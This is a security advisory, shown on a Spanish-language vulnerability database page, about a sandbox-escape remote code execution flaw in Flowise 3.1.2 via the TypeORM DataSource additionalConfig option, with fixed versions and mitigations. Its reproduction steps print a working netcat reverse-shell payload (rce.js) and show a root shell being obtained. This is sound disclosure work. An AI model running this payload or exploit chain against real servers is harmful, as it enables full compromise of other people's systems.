Flowise RCE via TypeORM DataSource
============================================================================= Security Advisory elttam
Topic: Flowise RCE via TypeORM DataSource
Module: FlowiseAI/Flowise
Disclosed: 15-Apr-2026
Credits: Alex Brown
Affects: FlowiseAI/Flowise 3.1.2
I. Background
Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.
Flowise allows users to connect to remote databases within a flow, which is performed using the TypeORM DataSource.
II. Problem Description
The following nodes allowed users to set arbitrary options for the TypeORM DataSource class using the additionalConfig node input:
- packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts
- packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts
- packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts
- packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts
- packages/components/nodes/memory/AgentMemory/AgentMemory.ts
This is considered a dangerous coding practice, because the options for the TypeORM DataSource class support loading local files as JavaScript code.
The following documents the steps to reproduce this RCE vulnerability by abusing the additionalConfig input on a MySQL Record Manager (packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts) node:
- Log into a Flowise instance and note the organisation ID in the response from
POST /api/v1/auth/login, as shown below.
HTTP/1.1 200 OK
Set-Cookie: token=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: refreshToken=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: connect.sid=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Content-Type: application/json; charset=utf-8
Content-Length: 671
ETag: W/"29f-xnGhZVNYDhOOLUuVSPq0rZLC8mE"
Date: Wed, 15 Apr 2026 10:58:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{
"activeOrganizationCustomerId": null,
"activeOrganizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1>
"activeOrganizationProductId": "",
"activeOrganizationSubscriptionId": null,
"activeWorkspace": "Default Workspace",
"activeWorkspaceId": "3206d8d3-944f-48c6-9332-11e2752b793e",
"assignedWorkspaces": [
{
"id": "3206d8d3-944f-48c6-9332-11e2752b793e",
"name": "Default Workspace",
"organizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1>
"role": "owner"
}
],
"email": "admin@flowise.local",
"features": {},
"id": "b60bc90f-c77d-41ba-bb7b-cbd7f9e6d4ab",
"isOrganizationAdmin": true,
"isSSO": false,
"name": "Admin",
"permissions": [
"organization",
"workspace"
],
"roleId": "b1d1a990-b908-1f7f-889b-5603cb093ff1"
}<1> The organisation ID that is required for a later step.
- Create a new document store and use the File Loader to upload a file containing JavaScript code that would be executed outside the
vm2sandbox. The following script is a reverse shell payload that connects to172.17.0.1:1337that had a filename ofrce.js.
process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')- Using a proxy tool such as Burp Suite or the browser's debug network tab, observe the response from the
POST /api/v1/document-store/loader/process/{loader_id}endpoint and retrieve thestoreId, as demonstrated in the response below.
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 1000
ETag: W/"3e8-7uqpJlOmso3F99EQLpeEzY2xh/o"
Date: Wed, 15 Apr 2026 10:59:34 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{
"characters": 94,
"chunks": [
{
"chunkNo": 1,
"docId": "544ff838-bc55-4b28-97a1-c7442710b014",
"id": "7f5f4d41-f684-4b16-9b3c-c1623678e7a0",
"metadata": "{\"source\":\"blob\",\"blobType\":\"\"}",
"pageContent": "process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')",
"storeId": "afb065cc-8b53-4ff3-82d3-a19e012a2ecb" <1>
}
],
"count": 1,
"currentPage": 1,
"description": "",
"docId": "544ff838-bc55-4b28-97a1-c7442710b014",
"file": {
"files": [
{
"id": "5becc8f6-713b-4c6b-8ca8-3275791a730c",
"mimePrefix": "application/x-javascript",
"name": "rce.js",
"size": 94,
"status": "NEW",
"uploaded": "2026-04-15T10:59:34.039Z"
}
],
"id": "544ff838-bc55-4b28-97a1-c7442710b014",
"loaderConfig": {
"file": "FILE-STORAGE::[\"rce.js\"]",
"legacyBuild": "",
"metadata": "",
"omitMetadataKeys": "",
"pointerName": "",
"textSplitter": "",
"usage": "perPage"
},
"loaderId": "fileLoader",
"loaderName": "RCE File",
"status": "SYNC",
"totalChars": 94,
"totalChunks": 1
},
"storeName": "RCE POC Store",
"workspaceId": "3206d8d3-944f-48c6-9332-11e2752b793e"
}<1> The store ID that is required for a later step.
- Import the following Chatflow and configure the "MySQL Record Manager", "OpenAI Embedding" and "Weaviate" nodes.
- Open the "Additional Parameters" window for the "MySQL Record Manager" node replace the placeholder values in the
additionalConfig.entitiessetting. The${HOME}is the home directory of the user running the Flowise server (e.g.,/rooton the published Docker image). The screenshot below shows an example path for the reverse shell payload that was uploaded in the previous steps.
- Start an Upsert operation and observe the reverse shell payload being executed, as demonstrated in the terminal output below.
$ nc -lnvp 1337
Listening on 0.0.0.0 1337
Connection received on 172.17.0.2 43421
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)III. Impact
This sandbox escape vulnerability allows an authenticated user to execute arbitrary code on a server running Flowise, resulting in full compromise of the application.
IV. Solution
Do not allow users full control of the options for the TypeORM DataSource class. The following DataSource options are considered dangerous and should not be allowed:
extra: Could be abused to provide dangerous driver options.entities: Could be abused to load arbitrary JavaScript files.subscribers: Could be abused to load arbitrary JavaScript files.migrations: Could be abused to load arbitrary JavaScript files.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | flowise | < 3.1.3 | 3.1.3 |
| Paquete de npm | flowise-components | < 3.1.3 | 3.1.3 |
Referencias
- Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H- Debilidad (CWE)
CWE-94- Plataforma
- npm
- Paquete
flowise, flowise-components- Publicada
- 04.08.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-g32j-mmxr-gfq5 - CC BY 4.0
Historial de vulnerabilidades: flowise-components
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 31
- Primera → última
- 04.2025 10.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 16
- Alta 12
- Media 3
Divulgaciones por año
- 2025: 3
- 2026: 28
-
Flowise RCE via TypeORM DataSource esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.